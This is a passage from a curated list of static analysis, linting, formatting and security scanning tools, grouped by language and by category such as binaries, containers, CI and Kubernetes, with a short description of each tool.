lockbud — Statically detects Rust deadlocks bugs. It currently detects two common kinds of deadlock bugs: doublelock and locks in conflicting order. It will print bugs in JSON format together with the source code location and an explanation of each bug.
MIRAI — And abstract interpreter operating on Rust's mid-level intermediate language, and providing warnings based on taint analysis.
prae — Provides a convenient macro that allows you to generate type wrappers that promise to always uphold arbitrary invariants that you specified.
Prusti — A static verifier for Rust, based on the Viper verification infrastructure. By default Prusti verifies absence of panics by proving that statements such as unreachable!() and panic!() are unreachable.
Rudra ⚠ — Rust Memory Safety & Undefined Behavior Detection. It is capable of analyzing single Rust packages as well as all the packages on crates.io.
Rust Language Server ⚠ — Supports functionality such as 'goto definition', symbol search, reformatting, and code completion, and enables renaming and refactorings.
rust-analyzer — Supports functionality such as 'goto definition', type inference, symbol search, reformatting, and code completion, and enables renaming and refactorings.
rust-audit — Audit Rust binaries for known bugs or security vulnerabilities. This works by embedding data about the dependency tree (Cargo.lock) in JSON format into a dedicated linker section of the compiled executable.
rustfix — Read and apply the suggestions made by rustc (and third-party lints, like those offered by clippy).
rustfmt — A tool for formatting Rust code according to style guidelines.
RustViz — RustViz is a tool that generates visualizations from simple Rust programs to assist users in better understanding the Rust Lifetime and Borrowing mechanism. It generates SVG files with graphical indicators that integrate with mdbook to render visualizations of data-flow in Rust programs.
warnalyzer — Show unused code from multi-crate Rust projects

SQL

dbcritic — dbcritic finds problems in a database schema, such as a missing primary key constraint in a table.
holistic — More than 1,300 rules to analyze SQL queries. Takes an SQL schema definition and the query source code to generate improvement recommendations. Detects code smells, unused indexes, unused tables, views, materialized views, and more.
sleek — Sleek is a CLI tool for formatting SQL. It helps you maintain a consistent style across your SQL code, enhancing readability and productivity. The heavy lifting is done by the sqlformat crate.
sqlcheck ⚠ — Automatically identify anti-patterns in SQL queries.
SQLFluff — Multiple dialect SQL linter and formatter.
sqlint — Simple SQL linter.
squawk — Linter for PostgreSQL, focused on migrations. Prevents unexpected downtime caused by database migrations and encourages best practices around Postgres schemas and SQL.
tsqllint — T-SQL-specific linter.
TSqlRules ⚠ — TSQL Static Code Analysis Rules for SQL Server.

Scala

linter ⚠ — Linter is a Scala static analysis compiler plugin which adds compile-time checks for various possible bugs, inefficiencies, and style problems.
Scalastyle — Scalastyle examines your Scala code and indicates potential problems with it.
scapegoat — Scala compiler plugin for static code analysis.
WartRemover — A flexible Scala code linting tool.

Shell

bashate — Code style enforcement for bash programs. The output format aims to follow pycodestyle (pep8) default output format.
i-Code CNES for Shell — An open source static code analysis tool for Shell and Fortran (77 and 90).
kmdr — CLI tool for learning commands from your terminal. kmdr delivers a break down of commands with every attribute explained.
sh — A shell parser, formatter, and interpreter with bash support; includes shfmt
shellcheck — ShellCheck, a static analysis tool that gives warnings and suggestions for bash/sh shell scripts.
shellharden — A syntax highlighter and a tool to semi-automate the rewriting of scripts to ShellCheck conformance, mainly focused on quoting.

Swift

SwiftFormat — A library and command-line formatting tool for reformatting Swift code.
SwiftLint — A tool to enforce Swift style and conventions.
Tailor ⚠ — A static analysis and lint tool for source code written in Apple's Swift programming language.

Tcl

Frink — A Tcl formatting and static check program (can prettify the program, minimise, obfuscate or just sanity check it).
Nagelfar — A static syntax checker for Tcl.
tclchecker — A static syntax analysis module (as part of TDK).

TypeScript

Angular ESLint — Linter for Angular projects
Codelyzer ⚠ — A set of tslint rules for static code analysis of Angular 2 TypeScript projects.
stc — Speedy TypeScript type checker written in Rust
tslint ⚠ — TSLint has been deprecated as of 2019. Please see this issue for more details. typescript-eslint is now your best option for linting TypeScript. TSLint is an extensible static analysis tool that checks TypeScript code for readability, maintainability, and functionality errors. It is widely supported across modern editors & build systems and can be customized with your own lint rules, configurations, and formatters.
tslint-clean-code — A set of TSLint rules inspired by the Clean Code handbook.
tslint-microsoft-contrib ⚠ — A set of tslint rules for static code analysis of TypeScript projects maintained by Microsoft.
TypeScript Call Graph — CLI to generate an interactive graph of functions and calls from your TypeScript files
TypeScript ESLint — TypeScript language extension for eslint.
zod — TypeScript-first schema validation with static type inference. The goal is to eliminate duplicative type declarations. With Zod, you declare a validator once and Zod will automatically infer the static TypeScript type. It is easy to compose simpler types into complex data structures.

Verilog/SystemVerilog

Icarus Verilog — A Verilog simulation and synthesis tool that operates by compiling source code written in IEEE-1364 Verilog into some target format
svls — A Language Server Protocol implementation for Verilog and SystemVerilog, including lint capabilities.
verible-linter-action — Automatic SystemVerilog linting in github actions with the help of Verible Used to lint Verilog and SystemVerilog source files and comment erroneous lines of code in Pull Requests automatically.
Verilator — A tool which converts Verilog to a cycle-accurate behavioral model in C++ or SystemC. Performs lint code-quality checks.
vscode-verilog-hdl-support — Verilog HDL/SystemVerilog/Bluespec SystemVerilog support for VS Code. Provides syntax highlighting and Linting support from Icarus Verilog, Vivado Logical Simulation, Modelsim and Verilator

Vim Script

vint ⚠ — Fast and Highly Extensible Vim script Language Lint implemented by Python.

Multiple languages

ale — Asynchronous Lint Engine for Vim and NeoVim with support for many languages.
Android Studio — Based on IntelliJ IDEA, and comes bundled with tools for Android including Android Lint.
ApplicationInspector — Creates reports of over 400 rule patterns for feature detection (e.g. the use of cryptography or version control in apps).
ArchUnit — Unit test your Java or Kotlin architecture.
Atom-Beautify ⚠ — Beautify HTML, CSS, JavaScript, PHP, Python, Ruby, Java, C, C++, C#, Objective-C, CoffeeScript, TypeScript, Coldfusion, SQL, and more in Atom editor.
autocorrect — A linter and formatter to help you to improve copywriting, correct spaces, words, punctuations between CJK (Chinese, Japanese, Korean).
Axivion Bauhaus Suite © — Tracks down error-prone code locations, style violations, cloned or dead code, cyclic dependencies and more for C/C++, C#/.NET, Java and Ada 83/Ada 95.
Bearer — Open-Source static code analysis tool to discover, filter and prioritize security risks and vulnerabilities leading to sensitive data exposures (PII, PHI, PD). Highly configurable and easily extensible, built for security and engineering teams.
Better Code Hub © — Better Code Hub checks your GitHub codebase against 10 engineering guidelines devised by the authority in software quality, Software Improvement Group.
biome — A toolchain for web projects, aimed to provide functionalities to maintain them. Biome formats and lints code in a fraction of a second. It is the successor to Rome. It is designed to eventually replace Biome is designed to eventually replace Babel, ESLint, webpack, Prettier, Jest, and others.
BugProve © — BugProve is a firmware analysis platform featuring both static and dynamic analysis techniques to discover memory corruptions, command injections and other classes or common weaknesses in binary code. It also detects vulnerable dependencies, weak cryptographic parameters, misconfigurations, and more.
callGraph — Statically generates a call graph image and displays it on screen.
CAST Highlight © — Commercial Static Code Analysis which runs locally, but uploads the results to its cloud for presentation.
ClassGraph — A classpath and module path scanner for querying or visualizing class metadata or class relatedness.
Clayton © — AI-powered code reviews for Salesforce. Secure your developments, enforce best practice and control your technical debt in real-time.
coala ⚠ — Language independent framework for creating code analysis - supports over 60 languages by default.
Code Intelligence © — CI/CD-agnostic DevSecOps platform which combines industry-leading fuzzing engines for finding bugs and visualizing code coverage
Codeac © — Automated code review tool integrates with GitHub, Bitbucket and GitLab (even self-hosted). Available for JavaScript, TypeScript, Python, Ruby, Go, PHP, Java, Docker, and more. (open-source free)
codeburner — Provides a unified interface to sort and act on the issues it finds.
codechecker — A defect database and viewer extension for the Clang Static Analyzer with web GUI.
CodeFlow © — Automated code analysis tool to deal with technical depth. Integrates with Bitbucket and Gitlab. (free for Open Source Projects)
CodeIt.Right © — CodeIt.Right™ provides a fast, automated way to ensure that your source code adheres to (your) predefined design and style guidelines as well as best coding practices.
codeql — Deep code analysis - semantic queries and dataflow for several languages with VSCode plugin support.
CodeQue — Ecosystem for structural matching JavaScript and TypeScript code. Offers search tool that understands code structure. Available as CLI tool and Visual Studio Code extension. It helps to search code faster and more accurately making you workflow more effective. Soon it will offer ESLint plugin to create your own rules in minutes to help with assuring codebase quality.
CodeRush © — Code creation, debugging, navigation, refactoring, analysis and visualization tools that use the Roslyn engine in Visual Studio 2015 and up.
CodeScan © — Code Quality and Security for Salesforce Developers. Made exclusively for the Salesforce platform, CodeScan’s code analysis solutions provide you with total visibility into your code health.
CodeScene © — CodeScene is a quality visualization tool for software. Prioritize technical debt, detect delivery risks, and measure organizational aspects. Fully automated.
CodeSee © — CodeSee is mapping and automating your app's services, directories, file dependencies, and code changes. It's like Google Map, but for code.t
CodeSonar from GrammaTech © — Advanced, whole program, deep path, static analysis of C, C++, Java and C# with easy-to-understand explanations and code and path visualization.
Corrode ⚠ — Semi-automatic translation from C to Rust. Could reveal bugs in the original implementation by showing Rust compiler warnings and errors. Superseded by C2Rust.
Coverity © — Synopsys Coverity supports 20 languages and over 70 frameworks including Ruby on rails, Scala, PHP, Python, JavaScript, TypeScript, Java, Fortran, C, C++, C#, VB.NET.
cpp-linter-action — A Github Action for linting C/C++ code integrating clang-tidy and clang-format to collect feedback provided in the form of thread comments and/or annotations.
cqc ⚠ — Check your code quality for js, jsx, vue, css, less, scss, sass and styl files.
DeepSource © — In-depth static analysis to find issues in verticals of bug risks, security, anti-patterns, performance, documentation and style. Native integrations with GitHub, GitLab and Bitbucket. Less than 5% false positives.
Depends — Analyses the comprehensive dependencies of code elements for Java, C/C++, Ruby.
DevSkim — Regex-based static analysis tool for Visual Studio, VS Code, and Sublime Text - C/C++, C#, PHP, ASP, Python, Ruby, Java, and others.
dotenet-format — A code formatter for .NET. Preferences will be read from an .editorconfig file, if present, otherwise a default set of preferences will be used. At this time dotnet-format is able to format C# and Visual Basic projects with a subset of supported .editorconfig options.
Embold © — Intelligent software analytics platform that identifies design issues, code issues, duplication and metrics. Supports Java, C, C++, C#, JavaScript, TypeScript, Python, Go, Kotlin and more.
emerge — Emerge is a source code and dependency visualizer that can be used to gather insights about source code structure, metrics, dependencies and complexity of software projects. After scanning the source code of a project it provides you an interactive web interface to explore and analyze your project by using graph structures.
ESLint — An extensible linter for JS, following the ECMAScript standard.
ezno — A JavaScript compiler and TypeScript checker written in Rust with a focus on static analysis and runtime performance. Ezno's type checker is built from scratch. The checker is fully compatible with TypeScript type annotations and can work without any type annotations at all.
Find Security Bugs — The SpotBugs plugin for security audits of Java web applications and Android applications. (Also work with Kotlin, Groovy and Scala projects)
Fortify © — A commercial static analysis platform that supports the scanning of C/C++, C#, VB.NET, VB6, ABAP/BSP, ActionScript, Apex, ASP.NET, Classic ASP, VB Script, Cobol, ColdFusion, HTML, Java, JS, JSP, MXML/Flex, Objective-C, PHP, PL/SQL, T-SQL, Python (2.6, 2.7), Ruby (1.9.3), Swift, Scala, VB, and XML.
fta — Rust-based static analysis for TypeScript projects
Goodcheck — Regexp based customizable linter.
goone ⚠ — Finds N+1 queries (SQL calls in a for loop) in go code
graudit — Grep rough audit - source code auditing tool.
Hopper ⚠ — A static analysis tool written in scala for languages that run on JVM.
Hound CI — Comments on style violations in GitHub pull requests. Supports Coffeescript, Go, HAML, JavaScript, Ruby, SCSS and Swift.
imhotep — Comment on commits coming into your repository and check for syntactic errors and general lint warnings.
include-gardener — A multi-language static analyzer for C/C++/Obj-C/Python/Ruby to create a graph (in dot or graphml format) which shows all #include relations of a given set of files.
Infer — A static analyzer for Java, C and Objective-C
Kiuwan © — Identify and remediate cyber threats in a blazingly fast, collaborative environment, with seamless integration in your SDLC. Python, C\C++, Java, C#, PHP and more.
LGTM © — Find security vulnerabilities, variants, and critical code quality issues using CodeQL queries over source code. Automatic PR code review; free for open source. Formerly semmle. It supports public Git repositories hosted on Bitbucket Cloud, GitHub.com, GitLab.com.
lizard — Lizard is an extensible Cyclomatic Complexity Analyzer for many programming languages including C/C++ (doesn't require all the header files or Java imports). It also does copy-paste detection (code clone detection/code duplicate detection) and many other forms of static code analysis. Counts lines of code without comments, CCN (cyclomatic complexity number), token count of functions, parameter count of functions.
Mega-Linter — Mega-Linter can handle any type of project thanks to its 70+ embedded Linters, its advanced reporting, runnable on any CI system or locally, with assisted installation and configuration, able to apply formatting and fixes
oclint ⚠ — A static source code analysis tool to improve quality and reduce defects for C, C++ and Objective-C.
OpenRewrite — OpenRewrite fixes common static analysis issues reported through Sonar and other tools using a Maven and Gradle plugin or the Moderne CLI.
OpenStaticAnalyzer — OpenStaticAnalyzer is a source code analyzer tool, which can perform deep static analysis of the source code of complex systems.
oxc — The Oxidation Compiler is creating a suite of high-performance tools for the JavaScript / TypeScript language re-written in Rust.
parasoft © — Automated Software Testing Solutions for unit-, API-, and web UI testing. Complies with MISRA, OWASP, and others.
pfff — Facebook's tools for code analysis, visualizations, or style-preserving source transformation for many languages.
PMD — A source code analyzer for Java, Salesforce Apex, Javascript, PLSQL, XML, XSL and others.
pre-commit — A framework for managing and maintaining multi-language pre-commit hooks.
Prettier — An opinionated code formatter.
Pronto — Quick automated code review of your changes. Supports more than 40 runners for various languages, including Clang, Elixir, JavaScript, PHP, Ruby and more.
PT.PM ⚠ — An engine for searching patterns in the source code, based on Unified AST or UST. At present time C#, Java, PHP, PL/SQL, T-SQL, and JavaScript are supported. Patterns can be described within the code or using a DSL.
Putout — Pluggable and configurable code transformer with built-in eslint, babel plugins support for js, jsx typescript, flow, markdown, yaml and json.
PVS-Studio © — A (conditionally free for FOSS and individual developers) static analysis of C, C++, C# and Java code. For advertising purposes you can propose a large FOSS project for analysis by PVS employees. Supports CWE mapping, OWASP ASVS, MISRA, AUTOSAR and SEI CERT coding standards.
pylama — Code audit tool for Python and JavaScript. Wraps pycodestyle, pydocstyle, PyFlakes, Mccabe, Pylint, and more
Qwiet AI © — Identify vulnerabilities that are unique to your code base before they reach production. Leverages the Code Property Graph (CPG) to run its analyses concurrently in a single graph of graphs. Automatically finds business logic flaws in dev like hardcoded secrets and logic bombs
Refactoring Essentials ⚠ — The free Visual Studio 2015 extension for C# and VB.NET refactorings, including code best practice analyzers.
relint — A static file linter that allows you to write custom rules using regular expressions (RegEx).
ReSharper © — Extends Visual Studio with on-the-fly code inspections for C#, VB.NET, ASP.NET, JavaScript, TypeScript and other technologies.
Rome — Rome was a linter, compiler, bundler, and more for JavaScript, TypeScript, JSON, HTML, Markdown, and CSS. It has since been succeeded by biome.
Rome Formatter ⚠ — A performant and fault-tolerant code formatter for JS/TS written in Rust. Superceded by biome.
Roslyn Analyzers — Roslyn-based implementation of FxCop analyzers.
Roslyn Security Guard — Project that focuses on the identification of potential vulnerabilities such as SQL injection, cross-site scripting (XSS), CSRF, cryptography weaknesses, hardcoded passwords and many more.
SafeQL — Validate and auto-generate TypeScript types from raw SQL queries in PostgreSQL. SafeQL is an ESLint plugin for writing SQL queries in a type-safe way.
SAST Online © — Check the Android Source code thoroughly to uncover and address potential security concerns and vulnerabilities. Static application security testing (Static Code Analysis) tool Online
Scanmycode CE (Community Edition) — Scanmycode - Code Scanning/SAST/Linting using many tools/Scanners with One Report
Security Code Scan — Security code analyzer for C# and VB.NET. Detects various security vulnerability patterns: SQLi, XSS, CSRF, XXE, Open Redirect, etc. Integrates into Visual Studio 2015 and newer. Detects various security vulnerability patterns: SQLi, XSS, CSRF, XXE, Open Redirect, etc.
Semgrep — A fast, open-source, static analysis tool for finding bugs and enforcing code standards at editor, commit, and CI time. Its rules look like the code you already write; no abstract syntax trees or regex wrestling. Supports 17+ languages.
Semgrep Supply Chain © — Quickly find and remediate high-priority security issues. Semgrep Supply Chain prioritizes the 2% of vulnerabilities that are reachable from your code.
ShiftLeft Scan — Scan is a free open-source DevSecOps platform for detecting security issues in source code and dependencies. It supports a broad range of languages and CI/CD pipelines.
shipshape ⚠ — Static program analysis platform that allows custom analyzers to plug in through a common interface.
Sigrid © — Sigrid helps you to improve your software by measuring your system's code quality, and then compares the results against a benchmark of thousands of industry systems to give you concrete advice on areas where you can improve.
Similarity Tester — A tool that finds similarities between or within files to support you encountering DRY principle violations.
Snyk Code © — Snyk Code finds security vulnerabilities based on AI. Its speed of analysis allow us to analyse your code in real time and deliver results when you hit the save button in your IDE. Supported languages are Java, JavaScript, Python, PHP, C#, Go and TypeScript. Integrations with GitHub, BitBucket and Gitlab. It is free to try and part of the Snyk platform also covering SCA, containers and IaC.
SonarCloud © — Multi-language cloud-based static code analysis. History, trends, security hot-spots, pull request analysis and more. Free for open source.
SonarLint for Visual Studio — SonarLint is an extension for Visual Studio 2015 and 2017 that provides on-the-fly feedback to developers on new bugs and quality issues injected into .NET code.
SonarQube — SonarQube is an open platform to manage code quality.
Sonatype © — Reports known vulnerabilities in common dependencies and recommends updated packages to minimize breaking changes
Soto Platform © — Suite of static analysis tools consisting of the three components Sotoarc (Architecture Analysis), Sotograph (Quality Analysis), and Sotoreport (Quality report). Helps find differences between architecture and implementation, interface violations (e.g. external access of private parts of subsystems, detection of all classes, files, packages and subsystems which are strongly coupled by cyclical relationships and more. The Sotograph product family runs on Windows and Linux.
sqlvet — Performs static analysis on raw SQL queries in your Go code base to surface potential runtime errors. It checks for SQL syntax error, identifies unsafe queries that could potentially lead to SQL injections makes sure column count matches value count in INSERT statements and validates table- and column names.
StaticReviewer © — Static Reviewer executes code checks according to the most relevant Secure Coding Standards, OWASP, CWE, CVE, CVSS, MISRA, CERT, for 40+ programming languages, using 1000+ built-in validation rules for Security, Deadcode & Best Practices Available a module for Software Composition Analysis (SCA) to find vulnerabilities in open source and third party libraries.
Super-Linter — Combination of multiple linters to install as a GitHub Action.
Synopsys © — A commercial static analysis platform that allows for scanning of multiple languages (C/C++, Android, C#, Java, JS, PHP, Python, Node.JS, Ruby, Fortran, and Swift).
Teamscale © — Static and dynamic analysis tool supporting more than 25 languages and direct IDE integration. Free hosting for Open Source projects available on request. Free academic licenses available.
TencentCodeAnalysis — Tencent Cloud Code Analysis (TCA for short, code-named CodeDog inside the company early) is a comprehensive platform for code analysis and issue tracking. TCA consist of three components, server, web and client. It integrates of a number of self-developed tools, and also supports dynamic integration of code analysis tools in various programming languages.
ThreatMapper — Vulnerability Scanner and Risk Evaluation for containers, serverless and hosts at runtime. ThreatMapper generates runtime BOMs from dependencies and operating system packages, matches against multiple threat feeds, scans for unprotected secrets, and scores issues based on severity and risk-of-exploit.
todocheck — Linter for integrating annotated TODOs with your issue trackers
trivy — A Simple and Comprehensive Vulnerability Scanner for Containers and other Artifacts, Suitable for CI. Trivy detects vulnerabilities of OS packages (Alpine, RHEL, CentOS, etc.) and application dependencies (Bundler, Composer, npm, yarn, etc.). Checks containers and filesystems.
trunk © — Modern repositories include many technologies, each with its own set of linters. With 30+ linters and counting, Trunk makes it dead-simple to identify, install, configure, and run the right linters, static analyzers, and formatters for all your repos.
TscanCode — A fast and accurate static analysis solution for C/C++, C#, Lua codes provided by Tencent. Using GPLv3 license.
Undebt — Language-independent tool for massive, automatic, programmable refactoring based on simple pattern definitions.
Understand © — Code visualization tool that provides code analysis, standards testing, metrics, graphing, dependency analysis and more for Ada, VHDL, and others.
Unibeautify — Universal code beautifier with a GitHub app. Supports HTML, CSS, JavaScript, TypeScript, JSX, Vue, C++, Go, Objective-C, Java, Python, PHP, GraphQL, Markdown, and more.
Veracode © — Find flaws in binaries and bytecode without requiring source. Support all major programming languages: Java, .NET, JavaScript, Swift, Objective-C, C, C++ and more.
WALA — Static analysis capabilities for Java bytecode and related languages and for JavaScript.
weggli — A fast and robust semantic search tool for C and C++ codebases. It is designed to help security researchers identify interesting functionality in large codebases.
WhiteHat Application Security Platform © — WhiteHat Scout (for Developers) combined with WhiteHat Sentinel Source (for Operations) supporting WhiteHat Top 40 and OWASP Top 10.
Wotan ⚠ — Pluggable TypeScript and JavaScript linter.

Other

.env

GitGuardian ggshield — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.

Ansible

kics — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible

Azure Resource Manager

AzSK — Secure DevOps kit for Azure (AzSK) provides security IntelliSense, Security Verification Tests (SVTs), CICD scan vulnerabilities, compliance issues, and infrastructure misconfiguration in your infrastructure-as-code. Supports Azure via ARM.

Binaries

angr — Binary code analysis tool that also supports symbolic execution.
binbloom — Analyzes a raw binary firmware and determines features like endianness or the loading address. The tool is compatible with all architectures. Loading address: binbloom can parse a raw binary firmware and determine its loading address. Endianness: binbloom can use heuristics to determine the endianness of a firmware. UDS Database: binbloom can parse a raw binary firmware and check if it contains an array containing UDS command IDs.
BinSkim — A binary static analysis tool that provides security and correctness results for Windows portable executables.
Black Duck © — Tool to analyze source code and binaries for reusable code, necessary licenses and potential security aspects.
bloaty — Ever wondered what's making your binary big? Bloaty McBloatface will show you a size profile of the binary so you can understand what's taking up space inside. Bloaty performs a deep analysis of the binary. Using custom ELF, DWARF, and Mach-O parsers, Bloaty aims to accurately attribute every byte of the binary to the symbol or compileunit that produced it. It will even disassemble the binary looking for references to anonymous data. F
cargo-bloat — Find out what takes most of the space in your executable. supports ELF (Linux, BSD), Mach-O (macOS) and PE (Windows) binaries.
cwe_checker — cwe_checker finds vulnerable patterns in binary executables.
Ghidra — A software reverse engineering (SRE) suite of tools developed by NSA's Research Directorate in support of the Cybersecurity mission
Hopper © — macOS and Linux reverse engineering tool that lets you disassemble, decompile and debug applications. Hopper displays the code using different representations, e.g. the Control Flow Graph, and the pseudo-code of a procedure. Supports Apple Silicon.
Jakstab — Jakstab is an Abstract Interpretation-based, integrated disassembly and static analysis framework for designing analyses on executables and recovering reliable control flow graphs.
JEB Decompiler © — Decompile and debug binary code. Break down and analyze document files. Android Dalvik, MIPS, ARM, Intel x86, Java, WebAssembly & Ethereum Decompilers.
ktool — Fully cross-platform toolkit and library for MachO+Obj-C editing/analysis. Includes a cli kit, a curses GUI, ObjC header dumping, and much more.
Manalyze — A static analyzer, which checks portable executables for malicious content.
mcsema ⚠ — Framework for lifting x86, amd64, aarch64, sparc32, and sparc64 program binaries to LLVM bitcode. It translates ("lifts") executable binaries from native machine code to LLVM bitcode, which is very useful for performing program analysis methods.
Nauz File Detector — Static Linker/Compiler/Tool detector for Windows, Linux and MacOS.
rust-audit — Audit Rust binaries for known bugs or security vulnerabilities. This works by embedding data about the dependency tree (Cargo.lock) in JSON format into a dedicated linker section of the compiled executable.
Twiggy — Analyzes a binary's call graph to profile code size. The goal is to slim down wasm binary size.
VMware chap — chap analyzes un-instrumented ELF core files for leaks, memory growth, and corruption. It is sufficiently reliable that it can be used in automation to catch leaks before they are committed. As an interactive tool, it helps explain memory growth, can identify some forms of corruption, and supplements a debugger by giving the status of various memory locations.
zydis — Fast and lightweight x86/x86-64 disassembler library

Build tools

checkmake — Linter / Analyzer for Makefiles.
portlint — A verifier for FreeBSD and DragonFlyBSD port directories.

CSS/SASS/SCSS

CSS Stats — Potentially interesting stats on stylesheets.
CSScomb — A coding style formatter for CSS. Supports own configurations to make style sheets beautiful and consistent.
CSSLint — Does basic syntax checking and finds problematic patterns or signs of inefficiency.
GraphMyCSS.com — CSS Specificity Graph Generator.
Nu Html Checker — Helps you catch problems in your HTML/CSS/SVG
Parker ⚠ — Stylesheet analysis tool.
PostCSS — A tool for transforming styles with JS plugins. These plugins can lint your CSS, support variables and mixins, transpile future CSS syntax, inline images, and more.
Project Wallace CSS Analyzer — Analytics for CSS, part of Project Wallace.
sass-lint ⚠ — A Node-only Sass linter for both sass and scss syntax.
scsslint — Linter for SCSS files.
Specificity Graph — CSS Specificity Graph Generator.
Stylelint — Linter for SCSS/CSS files.

Config Files

dotenv-linter — Linting dotenv files like a charm.
dotenv-linter (Rust) — Lightning-fast linter for .env files. Written in Rust
gixy — A tool to analyze Nginx configuration. The main goal is to prevent misconfiguration and automate flaw detection.

Configuration Management

ansible-lint — Checks playbooks for practices and behaviour that could potentially be improved.
AWS CloudFormation Guard — Check local CloudFormation templates against policy-as-code rules and generate rules from existing templates.
AzSK — Secure DevOps kit for Azure (AzSK) provides security IntelliSense, Security Verification Tests (SVTs), CICD scan vulnerabilities, compliance issues, and infrastructure misconfiguration in your infrastructure-as-code. Supports Azure via ARM.
cfn-lint — AWS Labs CloudFormation linter.
cfn_nag — A linter for AWS CloudFormation templates.
checkov — Static analysis tool for Terraform files (tf>=v0.12), preventing cloud misconfigs at build time.
cookstyle — Cookstyle is a linting tool based on the RuboCop Ruby linting tool for Chef cookbooks.
foodcritic — A lint tool that checks Chef cookbooks for common problems.
kics — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible
metadata-json-lint — Tool to check the validity of Puppet metadata.json files.
Puppet Lint ⚠ — Check that your Puppet manifests conform to the style guide.
terraform-compliance — A lightweight, compliance- and security focused, BDD test framework against Terraform.
terrascan — Collection of security and best practice tests for static code analysis of Terraform templates.
tflint — A Terraform linter for detecting errors that can not be detected by terraform plan.
tfsec — Terraform static analysis tool that prevents potential security issues by checking cloud misconfigurations at build time and directly integrates with the HCL parser for better results. Checks for violations of AWS, Azure and GCP security best practice recommendations.

Containers

anchore — Discover, analyze, and certify container images. A service that analyzes Docker images and applies user-defined acceptance policies to allow automated container image validation and certification
clair — Vulnerability Static Analysis for Containers.
collector ⚠ — Run arbitrary scripts inside containers, and gather useful information.
dagda — Perform static analysis of known vulnerabilities in docker images/containers.
Docker Label Inspector ⚠ — Lint and validate Dockerfile labels.
GitGuardian ggshield — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.
Haskell Dockerfile Linter — A smarter Dockerfile linter that helps you build best practice Docker images.
kics — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible
krane — Krane is a simple Kubernetes RBAC static analysis tool. It identifies potential security risks in K8s RBAC design and makes suggestions on how to mitigate them. Krane dashboard presents current RBAC security posture and lets you navigate through its definition.
OpenSCAP — Suite of automated audit tools to examine the configuration and known vulnerabilities following the NIST-certified Security Content Automation Protocol (SCAP).
Qualys Container Security © — Container native application protection to provide visibility and control of containerized applications.
sysdig © — A secure DevOps platform for cloud and container forensics. Built on an open source stack, Sysdig provides Docker image scanning and created Falco, the open standard for runtime threat detection for containers, Kubernetes and cloud.
Vuls — Agent-less Linux vulnerability scanner based on information from NVD, OVAL, etc. It has some container image support, although is not a container specific tool.

Continuous Integration

actionlint — Static checker for GitHub Actions workflow files. Provides an online version.
AzSK — Secure DevOps kit for Azure (AzSK) provides security IntelliSense, Security Verification Tests (SVTs), CICD scan vulnerabilities, compliance issues, and infrastructure misconfiguration in your infrastructure-as-code. Supports Azure via ARM.
Code Climate — The open and extensible static analysis platform, for everyone.
Codecov © — Codecov is a company that provides code coverage tools for developers and engineering leaders to gain visibility into their code coverage. They offer flexible and unified reporting, seamless coverage insights, and robust coverage controls. Codecov supports over 20 languages and is CI/CD agnostic. Over 29,000 organizations and 1 million developers use Codecov. Codecov has recently joined Sentry.
Diffblue © — Diffblue is a software company that provides AI-powered code analysis and testing solutions for software development teams. Its technology helps developers automate testing, find bugs, and reduce manual labor in their software development processes. The company's main product, Diffblue Cover, uses AI to generate and run unit tests for Java code, helping to catch errors and improve code quality.
exakat — An automated code reviewing engine for PHP.
GitGuardian ggshield — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.
Goblint — A static analyzer for the analysis of multi-threaded C programs. Its primary focus is the detection of data races, but it also reports other runtime errors, such as buffer overflows and null-pointer dereferences.
PullRequest © — Code review as a service with built-in static analysis. Increase velocity and reduce technical debt through quality code review by expert engineers backed by best-in-class automation.
quality — Runs quality checks on your code using community tools, and makes sure your numbers don't get any worse over time.
QuantifiedCode ⚠ — Automated code review & repair. It helps you to keep track of issues and metrics in your software projects, and can be easily extended to support new types of analyses.
RefactorFirst — Identifies and prioritizes God Classes and Highly Coupled classes in Java codebases you should refactor first.
Reviewdog — A tool for posting review comments from any linter in any code hosting service.
Violations Lib — Java library for parsing report files from static code analysis. Used by a bunch of Jenkins, Maven and Gradle plugins.

Deno

deno_lint — Official linter for Deno.

Embedded

oelint-adv — Linter for bitbake recipes used in open-embedded and YOCTO

Embedded Ruby (a.k.a. ERB, eRuby)

ERB Lint — Lint your ERB or HTML files
htmlbeautifier — A normaliser/beautifier for HTML that also understands embedded Ruby. Ideal for tidying up Rails templates.

Gherkin

gherkin-lint — A linter for the Gherkin-Syntax written in Javascript.

HTML

Angular ESLint — Linter for Angular projects
Bootlint ⚠ — An HTML linter for Bootstrap projects.
ERB Lint — Lint your ERB or HTML files
grunt-bootlint ⚠ — A Grunt wrapper for Bootlint, the HTML linter for Bootstrap projects.
gulp-bootlint ⚠ — A gulp wrapper for Bootlint, the HTML linter for Bootstrap projects.
HTML Inspector ⚠ — HTML Inspector is a code quality tool to help you and your team write better markup.
HTML Tidy — Corrects and cleans up HTML and XML documents by fixing markup errors and upgrading legacy code to modern standards.
HTML-Validate — Offline HTML5 validator.
htmlbeautifier — A normaliser/beautifier for HTML that also understands embedded Ruby. Ideal for tidying up Rails templates.
HTMLHint — A Static Code Analysis Tool for HTML.
Nu Html Checker — Helps you catch problems in your HTML/CSS/SVG
Polymer-analyzer — A static analysis framework for Web Components.

JSON

jsonlint — A JSON parser and validator with a CLI. Standalone version of jsonlint.com
Spectral — A flexible JSON/YAML linter, with out-of-the-box support for OpenAPI v2/v3 and AsyncAPI v2.

Kubernetes

chart-testing — ct is the the tool for testing Helm charts. It is meant to be used for linting and testing pull requests. It automatically detects charts changed against the target branch.
clusterlint — Clusterlint queries live Kubernetes clusters for resources, executes common and platform specific checks against these resources and provides actionable feedback to cluster operators. It is a non invasive tool that is run externally. Clusterlint does not alter the resource configurations.
Datree — A CLI tool to prevent Kubernetes misconfigurations by ensuring that manifests and Helm charts follow best practices as well as your organization’s policies
